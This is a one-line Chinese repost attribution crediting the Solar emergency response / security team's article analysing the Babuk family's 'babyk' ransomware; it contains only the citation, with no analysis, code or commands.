本文转载自:solar应急响应团队 索勒安全团队《【病毒分析】Babuk家族babyk勒索病毒分析》